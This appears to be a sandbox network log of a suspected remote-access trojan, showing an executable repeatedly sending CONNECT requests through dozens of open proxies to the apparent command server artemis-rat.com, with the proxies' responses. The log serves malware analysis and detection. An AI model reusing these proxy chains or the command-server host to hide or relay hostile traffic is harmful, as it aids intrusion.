Mar 11, 2024 03:30:49.077931881 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2102	192.168.2.5	54535	199.229.254.129	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:49.077934027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2103	192.168.2.5	54594	51.15.139.15	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:49.091886997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.092709064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.605850935 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2104	192.168.2.5	54575	82.223.121.72	27137	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.626099110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.701931000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.702076912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:02.701881886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2105	192.168.2.5	55487	185.101.16.52	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.626393080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2106	192.168.2.5	54631	190.104.20.82	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.626585007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2107	192.168.2.5	55488	45.11.95.165	5219	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.629548073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2108	192.168.2.5	54752	72.167.221.145	42043	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.788564920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2109	192.168.2.5	54710	162.240.239.103	42771	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.794888973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.905008078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2110	192.168.2.5	52527	128.199.165.63	49093	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.804311991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2111	192.168.2.5	54768	175.213.76.24	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.807193995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.110829115 CET	166	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2112	192.168.2.5	55468	47.229.171.150	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.810447931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.592629910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2113	192.168.2.5	52619	62.171.133.66	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.811341047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.387465954 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2114	192.168.2.5	55448	102.132.48.60	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.821290016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2115	192.168.2.5	54748	103.66.232.169	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.821599960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2116	192.168.2.5	52749	163.172.149.133	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.822684050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.905062914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.921617031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.010808945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2117	192.168.2.5	54828	51.158.72.165	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.823415995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.905056000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.792881012 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2118	192.168.2.5	54900	121.128.194.154	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.823529959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2119	192.168.2.5	54890	58.75.126.235	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.823622942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2120	192.168.2.5	55480	72.37.217.3	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.824636936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2121	192.168.2.5	55490	212.108.155.205	9090	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.831319094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2122	192.168.2.5	52841	181.78.11.217	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.841247082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2123	192.168.2.5	55492	93.87.49.86	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.841284990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.175107002 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 715 Content-Type: text/html Date: Mon, 11 Mar 2024 02:30:50 GMT Expires: Mon, 11 Mar 2024 02:30:50 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2124	192.168.2.5	55047	162.214.121.173	64382	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.851054907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.405066967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2125	192.168.2.5	55348	185.212.60.62	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.851721048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.203687906 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2126	192.168.2.5	52900	162.241.50.179	48156	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.854913950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.905060053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2127	192.168.2.5	55000	38.49.143.114	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.888017893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.167880058 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 718 Content-Type: text/html Date: Mon, 11 Mar 2024 02:30:54 GMT Expires: Mon, 11 Mar 2024 02:30:54 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2128	192.168.2.5	55495	196.20.125.129	8083	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.888091087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2129	192.168.2.5	55456	192.252.208.70	14282	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.894401073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2130	192.168.2.5	55494	45.11.95.165	6010	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.894615889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2131	192.168.2.5	55039	68.169.59.171	8380	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:50.895031929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.905105114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.921629906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2132	192.168.2.5	52848	45.117.179.179	6522	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
